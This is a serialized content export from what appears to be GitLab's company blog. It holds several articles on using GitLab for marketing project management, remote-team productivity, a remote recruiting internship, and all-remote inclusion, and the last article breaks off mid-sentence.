\"2019-12-11\",\n      }",{"title":25874,"description":25875,"authors":25880,"heroImage":25876,"date":25881,"body":25882,"category":734,"tags":25883},[17272],"2019-12-11","\n\n_In [part one of this series](/blog/gitlab-for-project-management-one/) we looked at the pervasive problems around collaboration and how GitLab was built to resolve those challenges both in and out of the software development space. In this second part we take a detailed look at how our marketing teams used GitLab for project management._\n\nWhen we jumped in to using GitLab for project management, we did it in a big way. The [Just Commit marketing campaign](https://gitlab.com/groups/gitlab-com/marketing/-/epics/7) which launched in January 2019 is a good example of how the marketing team uses GitLab features like issues and epics.\n\n\"It was our first integrated campaign, and if you're not familiar with what that means, it's basically landing a single message across all channels,\" says [Jackie Gragnola](/company/team/#jgragnola), marketing programs manager. “So using social media, digital marketing, all of our content, our website. and in doing so, it was involving a lot of different team members.\"\n\nSince there were so many stakeholders involved, it was unrealistic that something like a Google Doc could provide the infrastructure necessary for efficient and transparent collaboration. Jackie migrated her kick-off document from Google Docs over to GitLab. \"It was the first test into using epics to give the high-level information and then organize the group into a single unified vision for what this campaign would become,\" she explains.\n\n![justcommit-integratedcampaign](https://about.gitlab.com/images/blogimages/gitlab-for-proj-management2/justcommit_integratedcampaign.png){: .shadow.large.center}\nThe Just Commit integrated campaign epic included the JustCommit label, as well as campaign goals, personas the campaign is targeting, links to recorded meetings, and more.\n{: .note.text-center}\n\nThe Just Commit ancestor epic also included details such as [UTM tracking links](https://gitlab.com/groups/gitlab-com/marketing/-/epics/7#utm-for-tracking-urls), a [list of teams and DRIs involved in the campaign](https://gitlab.com/groups/gitlab-com/marketing/-/epics/7#teams-involved-roles-responsibilities), and a [timeline of key dates and deliverables](https://gitlab.com/groups/gitlab-com/marketing/-/epics/7#key-timeline-dates) in the lead-up to the Feb. 18, 2019 launch.\n\nA level below the ancestor epic are child epics, which were organized by areas of action items. Some examples include organic search, webcasts, emails, and events; messaging and positioning, etc.\n\n![justcommit-child epics](https://about.gitlab.com/images/blogimages/gitlab-for-proj-management2/jc-childepics.png){: .shadow.large.center}\nExamples of some of the child epics for the Just Commit integrated campaign.\n{: .note.text-center}\n\nThe Just Commit label that was created was tagged to issues related to the campaign. It is simple enough to get a high-level overview of what issues are related to the Just Commit campaign by searching for the label.\n\nIn order to dig deeper into the different categories of work, you’d look at the issue list within the different child epics. The issue list functions essentially as a list of what needs to get done, and provides a good overview of what’s left to accomplish on the list.\n\n![justcommit-issue list](https://about.gitlab.com/images/blogimages/gitlab-for-proj-management2/jc-strategy-and-design.png){: .shadow.large.center}\nThis is an example of the issue list from the strategy and design child epic.\n{: .note.text-center}\n\nInside each issue is a DRI and a due date. The due dates were important not just to stay ahead of deadline, but also because there were a lot of dependencies baked into the integrated campaign.\n\n\"We couldn't work on the content until we knew what the message was, and we couldn't work on anything related to digital marketing until we had the designs approved,\" says Jackie. \"So, this just kept us organized by saying what we needed to get done by what dates and kept us up-to-date on the timeline that would help us hit that delivery date.\"\n\nBy using GitLab features such as ancestor epics, child epics, issues, and labels, the Just Commit integrated campaign kept all stakeholders updated on their progress and accountable for their deliverables.\n\n## How product marketing uses GitLab\n\n[Tye Davis](/company/team/#davistye) is a technical marketing manager and he uses GitLab for managing product marketing projects.\n\n### Use issue boards to get a global overview of work\n\nTye works primarily within the [product marketing project](https://gitlab.com/gitlab-com/marketing/product-marketing), which is housed in the broader marketing group. Just like we saw in the Just Commit integrated campaign, there are various ancestor epics, child epics, and issues housed within this project.\n\nThe [issue board view](https://docs.gitlab.com/ee/user/project/issue_board.html) is a useful way to visualize and organize all the issues and activity happening within a specific group or project. Viewing an issue board is simple enough: Just select boards under the issues tab to see all of the issues within a specific group, or to narrow the scope select a specific project. But building one is another matter entirely.\n\nIt is important to think strategically about the level at which you build your issue board, because that will impact how much information is rolled up into the board.\n\n\"You have to think about where your work lies and where you should be building your issue boards in epics,\" says [JJ Cordz](/company/team/#jjcordz), senior marketing ops manager. \"As an example, in marketing ops we presently work across departments so we do a lot of with sales ops, biz ops, sales in general, and all of those are individual projects and groups. So our issue board is actually built at this highest level (i.e., marketing group level) because we need to pull in everything else.\"\n\nBut not every team is as integrated as marketing ops. Sometimes building an issue board at the team level, instead of the group or project level, makes the most sense for your workflow.\n\nThe [technical marketing team has its own issue board](https://gitlab.com/gitlab-com/marketing/product-marketing/-/boards/926375?&label_name[]=tech-pmm), and it is sorted by labels. The labels it uses are uniform across the marketing group to indicate the status of a particular issue – `status: plan`, `status: WIP`, `status: scheduled`, or `status: review`. The labels automatically change when a particular issue is dragged between label lanes.\n\nThe use of these labels and the different team boards that live within the product marketing group allows anyone to take a look at the status of both individual issues and larger projects.\n\n### Team boards\n\nAnother option to configure an issue board is to base it on teams and sort based on an assignee. The team board view sorted by assignee allows you to see what each team member is working on.\n\n“We create boards based on assignee. This allows us to see who has what issue and what they're working on,\" says Tye. “Maybe your manager just wants to see what the team's working on or you're being a collaborative Agile team and want to just see what everyone's doing or what you could work on together.\"\n\n### Tracking progress\n\nThere are two main options for measuring work progress from a project management perspective: [milestones](https://docs.gitlab.com/ee/user/project/milestones/#project-milestones-and-group-milestones) and [burndown charts](https://docs.gitlab.com/ee/user/project/milestones/burndown_and_burnup_charts.html).\n\nMilestones are time-bound and track work output based on a specific timeframe (e.g., Q1 FY20 – a four-month period). When creating an issue, you can assign it to a specific milestone.\n\nBurndown charts reflect all the issues that are completed within the specific milestone. Once the time period (e.g., Q1 FY20), is up, you move any remaining and new work over to the next milestone (e.g., Q2 FY 2020).\n\n### Relating to GitLab customers\n\nWhile the marketing team and other teams across the company use GitLab as a project management tool, the majority of our customers are engineers that use GitLab as an Agile planning tool for developing code.\n\nWe can still relate to our customers through our use of issues and merge requests to make changes to the handbook, publish blog posts, among other activities in different repositories within GitLab.\n\nWhether you’re an infrastructure engineer, product marketing manager, or even an editor for the GitLab blog, the GitLab product functions as a sophisticated and customizable project management tool where collaboration and efficiency are baked into the function and design.\n\nWatch the video from [GitLab Contribute](/events/gitlab-contribute/) in New Orleans to see an overview of how GitLab can be used for project management, plus more on using GitLab for integrated campaigns and product marketing.\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube-nocookie.com/embed/tbg8KSyIWVg\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\nCover image by [Startaê Team](https://unsplash.com/@startaeteam) on [Unsplash](https://unsplash.com/s/photos/sticky-notes).\n{: .note}\n",[4103,1444,2368],{"slug":25885,"featured":6,"template":678},"gl-for-pm-prt-2","content:en-us:blog:gl-for-pm-prt-2.yml","Gl For Pm Prt 2","en-us/blog/gl-for-pm-prt-2.yml","en-us/blog/gl-for-pm-prt-2",{"_path":25891,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":25892,"content":25898,"config":25902,"_id":25904,"_type":16,"title":25905,"_source":17,"_file":25906,"_stem":25907,"_extension":20},"/en-us/blog/how-to-build-a-more-productive-remote-team",{"title":25893,"description":25894,"ogTitle":25893,"ogDescription":25894,"noIndex":6,"ogImage":25895,"ogUrl":25896,"ogSiteName":1180,"ogType":1181,"canonicalUrls":25896,"schema":25897},"5 Ways to build a more productive remote team","Hacker Noon named GitLab the world's most productive remote team – here's how we make it work.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749682933/Blog/Hero%20Images/getting-things-done.jpg","https://about.gitlab.com/blog/how-to-build-a-more-productive-remote-team","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"5 Ways to build a more productive remote team\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Darren Murph\"}],\n        \"datePublished\": \"2019-12-10\",\n      }",{"title":25893,"description":25894,"authors":25899,"heroImage":25895,"date":25900,"body":25901,"category":6634},[19653],"2019-12-10","\n\nEarlier this year Hacker Noon's community voted GitLab the [world's most productive remote team](https://noonies.hackernoon.com/award/cjxvsz6576k8u0b40czyb7xhj). We were honored, and thought we'd share a few tips on how we make it work in hopes of inspiring more remote companies.\n\n### We're serious about efficiency\n\nEfficiency isn't just something we strive for. It's a [value at the heart of every decision](/company/culture/all-remote/values/#efficiency). By enabling our all-remote team to [work from wherever they're most fulfilled](/company/culture/all-remote/people/), GitLab team members enjoy the built-in efficiency of time saved from no commute.\n\nWe also realize that no single person can design the perfectly efficient day for someone else. That's why we empower people to be a [manager of one](https://handbook.gitlab.com/handbook/values/#managers-of-one). When there's no clock to punch and no one watching you work, you're incentivized to be [highly efficient](/2018/05/17/eliminating-distractions-and-getting-things-done/). This is manifested in our obsession with [documentation](https://handbook.gitlab.com/handbook/values/#write-things-down) and our [bias for asynchronous communication](https://handbook.gitlab.com/handbook/values/#bias-towards-asynchronous-communication).\n\n![Working while flying creates more time to explore](https://about.gitlab.com/images/blogimages/remote-work-airplane-laptop.jpg){: .shadow.medium.center}\nWorking while flying creates more time to explore.\n{: .note.text-center}\n\nWe're also [transparent](/company/culture/all-remote/values/#transparency), which leads to far fewer questions, less confusion, and fewer interruptions on a daily basis. When information is available to all, you're conditioned to simply look for it. This habit of self-service allows team members to enjoy longer, uninterrupted periods of work.\n\n### We look at meetings differently\n\nWhen your [team](/company/team/) is spread across a myriad of time zones, and you're given [a travel stipend](/handbook/incentives/#visiting-grant) to crisscross oceans and meet your colleagues, you're forced to [see meetings in a different light](/company/culture/all-remote/meetings/). Part of what drives our productivity as a global team is our resistance to defaulting to a meeting.\n\n![Meetings are a judgement free zone](https://about.gitlab.com/images/blogimages/gitlab-team-meeting-zoom-call.jpg){: .shadow.medium.center}\nMeetings are a judgement-free zone.\n{: .note.text-center}\n\nWe default to documentation instead, which allows each individual to contribute insights and discussion during a time that suits them. This also allows people to properly digest a situation and create a considered response, rather than vocalizing whatever is top of mind.\n\nDespite our best efforts, some meetings are unavoidable. We require each meeting to have a pre-defined [agenda](/company/culture/all-remote/meetings/#have-an-agenda) and for [notes to be taken](/company/culture/all-remote/meetings/#document-everything-live-yes-everything) for those who cannot attend live. We don't bother with prettying up the background, since [meetings should be about the work](/company/culture/all-remote/meetings/#meetings-are-about-the-work-not-the-background). We're also known to [turn weekly all-hands meetings into podcasts](/2019/06/03/how-we-turned-40-person-meeting-into-a-podcast/).\n\n![Seriously, we mean it. Meetings are a judgement free zone!](https://about.gitlab.com/images/blogimages/gitlab-marketing-team-hotdog-meeting.jpg){: .shadow.medium.center}\nSeriously, we mean it. Meetings are a judgement-free zone!\n{: .note.text-center}\n\nThe element that's most counter to conventional wisdom? We give each team member the liberty to take their focus off of the meeting if an agenda item does not pertain to them. We don't judge people for looking away and working on other tasks, and it's not rude to ask someone to repeat something if you're looped back into a conversation.\n\n### We focus on results, not vanity metrics\n\nWe're able to maintain a high level of productivity by valuing [results](/company/culture/all-remote/values/#results) over inputs. It's true that what gets measured gets done. At GitLab, we publish our [Objectives and Key Results](/company/okrs/) (OKRs), ensuring that anyone in the company – and even outside of the company – knows exactly what matters. If it's not an OKR, it's not a priority.\n\nIn colocated environments, it's easy to favor people you see more often. In turn, it becomes easy to justify vanity metrics – things like appearing in the most meetings or being seen as the last to leave the office. Metrics like these do not propel a business forward in a meaningful way, and yet they often supercede productive effort.\n\nIf these vanity metrics are rewarded via praise or promotion, it creates a [dysfunctional culture](https://handbook.gitlab.com/handbook/values/#five-dysfunctions) where appearances trump excellent work.\n\n### We iterate with short toes\n\nGitLab looks at [iteration](/company/culture/all-remote/values/#iteration) in a way that feels unnatural to most. Across the company, we encourage the smallest possible change that makes an improvement. If you feel a twinge of embarrassment about the minimal nature of your first shipped feature set, you're on the right track.\n\nOur productivity is bolstered by a shared embrace of something that is actively discouraged in most organizations. When you iterate minimally and quickly, it's easier to roll things back. It's easier to pivot, or gently change course. If you're completely off-base, you'll realize it before you've sunk a catastrophic amount of time into a project.\n\nOne of the biggest killers of productivity is the fear of stepping on someone's toes, or veering too far into a lane that's owned by someone else. At GitLab, we have [short toes](https://handbook.gitlab.com/handbook/values/#short-toes). We actively work to improve our comfort level with others contributing to varying domains. When there's no ego and no long toes to mash, it creates an inclusive culture that *invites* innovation.\n\n### We answer questions with links\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube-nocookie.com/embed/ejlb9tPzjZs?start=420\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\n*In the above [GitLab Unfiltered](https://www.youtube.com/channel/UCMtZ0sc1HHNtGGWZFDRTh5A) video, GitLab team members discuss the benefits of widespread documentation with Job Portraits' co-founder [Miki Johnson](https://twitter.com/heymikij).*\n\nDoing the same thing twice hinders productivity. Repeating the answer to a question dozens of times – a common predicament when scaling a team and [addressing new hire concerns](/company/culture/all-remote/learning-and-development/#how-do-you-onboard-new-team-members) on a continual basis – is even worse. Unnecessary repitition not only hampers productivity, but it wears down the person answering the same questions.\n\nGitLab's handbook is [over 3,000 pages](/handbook/about/#count-handbook-pages) (and counting), and while we do not expect any single team member to read everything, its searchable nature means that it can be read and leveraged precisely when it's needed. Because of this, we're conditioned to ingest every question by first wondering if the answer is already documented.\n\nIn the event that the answer to your question is not documented, we take a [handbook first approach](/handbook/handbook-usage/#why-handbook-first) to answering. In other words, we document solutions to unanswered inquiries in order to make our future selves more productive. We answer it once, with a documented link, to prevent repetition in the future. If the answer needs to be updated with time, future team members can [use a merge request to iterate](/2019/08/02/gitlab-for-the-non-technical/) – an exercise that's far more productivity than rewriting from scratch.\n\n",{"slug":25903,"featured":6,"template":678},"how-to-build-a-more-productive-remote-team","content:en-us:blog:how-to-build-a-more-productive-remote-team.yml","How To Build A More Productive Remote Team","en-us/blog/how-to-build-a-more-productive-remote-team.yml","en-us/blog/how-to-build-a-more-productive-remote-team",{"_path":25909,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":25910,"content":25915,"config":25920,"_id":25922,"_type":16,"title":25923,"_source":17,"_file":25924,"_stem":25925,"_extension":20},"/en-us/blog/gitlab-for-project-management-one",{"title":25911,"description":25912,"ogTitle":25911,"ogDescription":25912,"noIndex":6,"ogImage":25876,"ogUrl":25913,"ogSiteName":1180,"ogType":1181,"canonicalUrls":25913,"schema":25914},"How our tool fosters collaborative project management","Our marketing team explains how we use GitLab to manage complex projects. Read how GitLab can improve your collaboration on projects.","https://about.gitlab.com/blog/gitlab-for-project-management-one","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How our tool fosters collaborative project management\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Sara Kassabian\"}],\n        \"datePublished\": \"2019-12-06\",\n      }",{"title":25911,"description":25912,"authors":25916,"heroImage":25876,"date":25917,"body":25918,"category":734,"tags":25919},[17272],"2019-12-06","\n\n_While it is true that there are few non-technical roles left in today’s business environment, it is notable that even folks outside of engineering use GitLab technology for collaborative project management. In this first part of our two-part series we outline the problems of siloed communications and how GitLab is structured to solve that for developers and everyone else. In part two, we’ll take a deep dive into how we used GitLab to manage an integrated marketing campaign and how our product marketing team uses GitLab for complex project management._\n\nImagine you’re trying to launch a new, integrated campaign. This campaign has a central message (e.g., \"Everyone can contribute\") and it pulls in representatives from many different teams – like social media, blogs, and field marketing – to create the designs and content that make this campaign a reality. The campaign structure is built and you’re ready to go – but wait – you’re working in a silo where communication between teams is challenging and there are strict rules about how information is conveyed.\n\nMarketing programs manager [Jackie Gragnola](/company/team/#jgragnola) kicked off the “GitLab for Non-Tech & Project Management Use\" breakout session at [GitLab Contribute New Orleans](/events/gitlab-contribute/) with an icebreaker game that mirrors this very conundrum. Breakout group participants were assigned teams as they tried to rebuild a gumdrop structure, but with strict communication guidelines. One person could see the structure, and relay what the structure looks like to three runners, who then described the structure to one builder.\n\nNeedless to say, the inefficiencies mounted quickly.\n\n\"The problem was one person could use their eyes, one person could use their mouth, one person could use their ears,\" said [Joyce Tompsett](/company/team/#Tompsett), analyst relations manager at GitLab and an observer/reporter in this game. \"So, even though everybody had all the component pieces they were only allowed to use one function at a time and then there was no return communication allowed.\"\n\nThe “can’t see the whole picture” problem is a common one in every industry and the solution is to make collaboration painless. [Collaboration is one of our core values at GitLab](https://handbook.gitlab.com/handbook/values/#collaboration) and it is fundamental to how we run our business and how we designed our tool. To understand how GitLab can work outside of software development it’s helpful to understand the underpinnings.\n\n## How GitLab works\n\nDeveloping software is similar in concept to baking a layer cake. You need a really strong foundation to keep your cake upright, and each coating of frosting between the cake layers acts as the glue that holds it all together. The top layer of frosting makes sure that all of your layers stay in one place (and makes sure that the layer cake is looking like a cake).\n\n![layercake](https://about.gitlab.com/images/blogimages/gitlab-for-proj-management/layercakev2.jpg){: .shadow.medium.center}\nA layer cake is a great analogy for how GitLab works as a project management tool.\n{: .note.text-center}\n\n\"The frosting between those layers is like webhooks or APIs; they’re actually the integrations that make the two pieces of software talk to each other,\" explains [JJ Cordz](/company/team/#jjcordz), senior marketing ops manager. \"Each task that's above the next one can get more complex because it's building off the foundation that you've already put into place.\"\n\nThe difference between the typical DevOps layer cake and the GitLab layer cake is that every activity or function fulfilled by a different layer of the cake (i.e., discrete piece of software) happens entirely within GitLab. In the GitLab layer cake, everything from project planning to execution allows teams to collaborate together within a single tool.\n\nOur description of the GitLab layer cake is actually how GitLab is structured today: With groups at the top, followed by epics, and projects that have issues, templates, etc. All of the layers can work together to build a fluid workflow, or they can be used independently.\n\n\"So all of those pieces together can actually standalone or you can put them all together and it makes a really awesome process in a workflow,\" says JJ. \"You can actually have lots of teams working together to get something massive done, but you've broken it down into little pieces.\"\n\n## Project management within GitLab\n\nIf you want to start thinking about getting \"something massive done\" within GitLab consider these basic steps:\n\n*   **Create a framework**: Before diving into a new project, a good project manager will first define what the ideal state is and will then build a framework for achieving this ideal state.\n*   **Assign directly responsible individuals (DRIs)**: The PM will assign DRIs to different components of the project. Each DRI is responsible for that particular component and is the person that you can follow-up with regarding that component throughout the project.\n*   **Templatize repeated tasks**: Keep things efficient with templates.\n*   **Set service level agreements (SLAs) at each handoff point**: Think about the due date and work backward to sort out how long different tasks should be taking.\n*   **Write rules of engagement and fallback instructions**\n*   **Define the feedback process**: Ensure that you have a place for people to ask questions, and make the room to iterate as you go along.\n\nWhat does this look like in the real world? Our marketing team built a project management structure within GitLab that allows multiple teams to collaborate within the [marketing group](https://gitlab.com/gitlab-com/marketing). Each team (e.g., [corporate marketing](https://gitlab.com/gitlab-com/marketing/corporate-marketing)) has their own project, where other groups and projects can live.\n\n[Epics](https://docs.gitlab.com/ee/user/group/epics/) – which represent projects that contain multiple issues – also live at the marketing group level rather than living within smaller team projects. The [epics live at the marketing group level](/handbook/marketing/#issues-milestones-and-epics) because oftentimes multiple marketing teams (e.g., corporate marketing, product marketing, etc.) will be tagged in different issues within a particular epic.\n\n[Efficiency](https://handbook.gitlab.com/handbook/values/#efficiency) is another one of our values at GitLab and the marketing team created templates within different marketing teams for repeat tasks to keep processes more uniform and efficient.\n\nWe also created a unified, global view that allows us to track the progress of various marketing projects. We have four labels: work in progress (wip), plan, review, and scheduled, that are assigned to a marketing issue that indicates the various stages. The labels allow [Todd Barr](/company/team/#tbarr), our chief marketing officer, and anyone else on the marketing team to see a global overview of various issues within marketing as they move from the idea to completion phase.\n\n![unifiedview](https://about.gitlab.com/images/blogimages/gitlab-for-proj-management/labels.png){: .shadow.large.center}\nA global overview of all the activities happening in marketing, separated and labeled according to their current status.\n{: .note.text-center}\n\nThe marketing team uses two-tiers for our epics: the highest level is the ancestor (formerly called \"parent\") epic, and below that is the child epic. There can be multiple issues associated with the child epic, but an issue can only be associated with one epic.\n\n![epic-diagram](https://about.gitlab.com/images/blogimages/gitlab-for-proj-management/parent-child-epics.png){: .shadow.large.center}\nHow the marketing team uses ancestor epics and child epics.\n{: .note.text-center}\n\nNow that you understand the basics of GitLab and project management within GitLab, watch the video on executing sophisticated and integrated marketing programs.\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube-nocookie.com/embed/tbg8KSyIWVg\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\nAnd don’t miss the second part of this series where we put the spotlight on our internal successes using GitLab for project management.\n\nCover image by [Startaê Team](https://unsplash.com/@startaeteam) on [Unsplash](https://unsplash.com/s/photos/sticky-notes).\n{: .note}\n",[4103,1444,2368],{"slug":25921,"featured":6,"template":678},"gitlab-for-project-management-one","content:en-us:blog:gitlab-for-project-management-one.yml","Gitlab For Project Management One","en-us/blog/gitlab-for-project-management-one.yml","en-us/blog/gitlab-for-project-management-one",{"_path":25927,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":25928,"content":25933,"config":25938,"_id":25940,"_type":16,"title":25941,"_source":17,"_file":25942,"_stem":25943,"_extension":20},"/en-us/blog/how-a-remote-internship-at-gitlab-shaped-my-career",{"title":25929,"description":25930,"ogTitle":25929,"ogDescription":25930,"noIndex":6,"ogImage":25133,"ogUrl":25931,"ogSiteName":1180,"ogType":1181,"canonicalUrls":25931,"schema":25932},"My experience as a recruiting intern at GitLab","Why interning for an asynchronous and all-remote company is the best way to go.","https://about.gitlab.com/blog/how-a-remote-internship-at-gitlab-shaped-my-career","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"My experience as a recruiting intern at GitLab\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Trevor Knudsen\"}],\n        \"datePublished\": \"2019-12-06\",\n      }",{"title":25929,"description":25930,"authors":25934,"heroImage":25133,"date":25917,"body":25936,"category":6634,"tags":25937},[25935],"Trevor Knudsen","\n\n[Applications for GitLab's engineering internship program are open! Apply now](/handbook/engineering/internships/).\n{: .alert .alert-gitlab-purple .text-center}\n\nWhile a remote internship may seem like a foreign idea with many limitations to some, in reality, the options can be far less limiting than office work. Working remotely comes with many perks, including work-life balance, ability to travel, and the flexibility to work wherever you please, but the benefits go beyond that. Taking an internship away from the office offers learning experiences. You have the opportunity to work with people outside your city – and instead collaborate with people from all around the world. Flexibility, learning opportunities, mentors, and work experience are all so accessible with a remote internship.\n\n## Why I joined GitLab\n\nAs a communications major at California State University, Fullerton, I was required to find an internship. While I was looking for an internship, the [all-remote](/blog/the-remote-manifesto/) setup of GitLab immediatly caught my attention, and there was an opportunity as recruiting intern that I could not pass up. I applied and after going through the interview process I was offered the position. 🎉\n\n### Globally distributed team\n\nI started with GitLab in October 2017, which was my senior year of college. My first day with GitLab was such a rush. I met with my mentor, manager, and the team, and went through onboarding. I was welcomed as if I was a full-time employee by my team, and I quickly realized my entire team was my mentor. I had coworkers in the United Kingdom, South Africa, and all across the United States. While every team member was helpful, one of my greatest mentors was (and continues to be) [Nadia Vatalidis](/company/team/#vatalidis). She worked as a recruiter also and checked in with me on a regular basis to make sure I felt comfortable using the GitLab tool and see what tasks I was working on. We also collaborated on different projects the recruting team was working on.\n\n### Our values\n\nGitLab is guided by its values, and each day I saw these [values](https://handbook.gitlab.com/handbook/values/) used in every aspect of our work. The [diversity](https://handbook.gitlab.com/handbook/values/#diversity-inclusion) of the recruiting team was a strength, bringing creative solutions to the table each day. The entire company [collaborated](https://handbook.gitlab.com/handbook/values/#collaboration) on projects and shared ideas, while always respecting each other's thoughts and opinions. One of the great things about working with GitLab was that if an idea was presented, it could be implemented after a bit of discussion even if not yet refined. This ensured that we operated with [efficency](https://handbook.gitlab.com/handbook/values/#efficiency) and [transparency](https://handbook.gitlab.com/handbook/values/#transparency) values. Our team would push forward initiatives and ideas and [iterate](https://handbook.gitlab.com/handbook/values/#iteration) on them as they were implemented.\n\n### All-remote and asyncronous workflows\n\nThe wonderful thing about GitLab is I was able to work when I wanted. When I had midterms coming up, I was able to take a few days off to study. Vacation was never a hindrance, I simply took the days off. GitLab has a [no ask, must tell](/handbook/paid-time-off/) PTO policy, meaning as long as I shared my plans with manager and team, I could take the time off. Working remotely also allowed me to work from anywhere. When I took a trip to Zion National Park in Utah with friends, I was able to adjust my working hours so I could explore by day and work in the evenings. On a snowy day in Zion, I sat on the back patio next to a warm fire, watching the beauty of the snowfall. It was this experience that helped me recognize the true potential of all-remote. The best part about the flexibility is even when I adjusted my work hours, I was never truly alone. Team members in Europe, the Middle East, and even in Africa were online when the team in the Americas has already logged out. Someone was always online and available for support.\n\n## Not your average internship\n\nMy experience as a GitLab intern was not typical, because it was a true work experience. I got the pleasure of working alongside the team on major projects, such as looking into a new application tracking system. I got to be involved in screening calls, scheduling interviews for candidates, and helped implement a better solution on how to maintain company assets. My internship helped me learn and grow the skills necessary to be part of the recruiting team, and ultimately landed me a full-time position at GitLab just six months into my internship.\n\nI learned so much as a GitLab team member, and met so many people who continue to be a mentor to me today. An all-remote internship was also ideal for me as a student, because I was able to have a solid work-life balance – something I continue to enjoy today.\n\nIf you're a student or career-changer searching for an internship, be sure to not undercut remote work opportunities. Check out GitLab's [current internship opportunites](/handbook/engineering/internships/). You can really learn so much as part of a fully distributed team.\n\n_Read more about [making remote internships successful](/blog/making-remote-internships-successful/)._\n\nCover image by Patrick Tomasso on [Unsplash](https://unsplash.com)\n{: .note}\n",[2368,676,3798],{"slug":25939,"featured":6,"template":678},"how-a-remote-internship-at-gitlab-shaped-my-career","content:en-us:blog:how-a-remote-internship-at-gitlab-shaped-my-career.yml","How A Remote Internship At Gitlab Shaped My Career","en-us/blog/how-a-remote-internship-at-gitlab-shaped-my-career.yml","en-us/blog/how-a-remote-internship-at-gitlab-shaped-my-career",{"_path":25945,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":25946,"content":25952,"config":25956,"_id":25958,"_type":16,"title":25959,"_source":17,"_file":25960,"_stem":25961,"_extension":20},"/en-us/blog/how-all-remote-supports-inclusion-and-bolsters-communities",{"title":25947,"description":25948,"ogTitle":25947,"ogDescription":25948,"noIndex":6,"ogImage":25949,"ogUrl":25950,"ogSiteName":1180,"ogType":1181,"canonicalUrls":25950,"schema":25951},"How all-remote supports inclusion and bolsters communities","When your hiring pipeline is more inclusive, your team becomes more inclusive.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749679679/Blog/Hero%20Images/kuala-lumpur-dm.jpg","https://about.gitlab.com/blog/how-all-remote-supports-inclusion-and-bolsters-communities","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How all-remote supports inclusion and bolsters communities\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Darren Murph\"}],\n        \"datePublished\": \"2019-12-06\",\n      }",{"title":25947,"description":25948,"authors":25953,"heroImage":25949,"date":25917,"body":25954,"category":6634,"tags":25955},[19653],"\n\nA diverse and [inclusive](/company/culture/inclusion/#fully-distributed-and-completely-connected) team is a stronger, [smarter](https://hbr.org/2016/11/why-diverse-teams-are-smarter), and more empathetic team. As industries grapple with mechanisms to encourage and facilitate inclusivity, all-remote teams — where [100% of team members](/company/culture/all-remote/stages/) are empowered to work from anywhere — are more inclusive by default.\n\n## All-remote exudes inclusiveness\n\n![GitLab colleagues gathered in London](https://about.gitlab.com/images/blogimages/gitlab-commit-london-2019-colleagues.jpg){: .shadow.medium.center}\nGitLab colleagues gathered in London.\n{: .note.text-center}\n\nResearch from [Deloitte](https://www2.deloitte.com/us/en/insights/deloitte-review/issue-22/diversity-and-inclusion-at-work-eight-powerful-truths.html) shows that \"teams with inclusive leaders are 17% more likely to report that they are high performing, 20% more likely to say they make high-quality decisions, and 29% more likely to report behaving collaboratively.\"\n\nGitLab recognizes that one [advantage](/company/culture/all-remote/benefits/) to being an all-remote company is that we can [hire talent from a global pool](/handbook/hiring/). We are not restricted to the usual job centers, which gives us access to a tremendous amount of talent that many other companies will not consider for employment. It may take more effort to find talent in more diverse places, but that is an effort we are willing to make.\n\nCurrently, GitLab employs over [1,000 team members across more than 60 countries](/company/team/). This level of richness in cultural and geographic diversity is enabled by all-remote, and naturally shields against biases that form when entire teams live, work, and interact in the same region of the world.\n\nWe're surrounded by a tapestry of unique cultures, celebrations, and traditions. Not only does this give us a broader view of the world internally, it enables us to be more empathetic to the broader open-source community.\n\n## Sourcing talent from around the globe\n\n![All-remote allows people to thrive wherever they call home. Image by [Darren Murph](https://twitter.com/darrenmurph)](https://about.gitlab.com/images/blogimages/night-train-city-sweden.jpg){: .shadow.medium.center}\nAll-remote allows people to thrive wherever they call home. Image by [Darren Murph](https://twitter.com/darrenmurph)\n{: .note.text-center}\n\nGitLab's six [values](https://handbook.gitlab.com/handbook/values/) are Collaboration, Results, Efficiency, Diversity, Inclusion & Belonging , Iteration, and Transparency, and together they spell CREDIT.\n\nTrue to those values, GitLab strives to hire team members who are passionate, empathetic, kind, tenacious, and ambitious, *regardless* of their location. By opening the recruiting funnel to as [broad a swath of the world as we can](/handbook/people-group/employment-solutions/#country-hiring-guidelines), we create a more inclusive hiring environment, lean on tight collaboration to drive progress [across time zones](/company/culture/all-remote/management/#asynchronous), and focus our hiring decisions on results rather than location.\n\nHiring an all-remote team from across the globe allows GitLab to [pay local rates](/blog/why-we-pay-local-rates/). By hiring brilliant minds in locations with lower costs of living, GitLab is able to save money to hire even more people as we [scale our business](/company/culture/all-remote/scaling/).\n\n- All-remote means that you [will not sacrifice career advancement](/handbook/people-group/learning-and-development/) by working outside of the office, as even GitLab executives are fully remote.\n- All-remote creates a workplace where caregivers, individuals with physical disabilities, etc., are not disadvantaged by being unable to regularly commute into an office.\n- GitLab's approach to [spending company money](/handbook/spending-company-money/) enables all team members to create a work environment uniquely tailored for them.\n- All-remote enables those who must relocate frequently for family and personal reasons to take their career with them.\n- All-remote allows movement and relocation to physical settings that contribute to an individual's health (e.g., moving to a location with an improved air quality index).\n\n## Bolstering communities\n\n![When people aren't forced 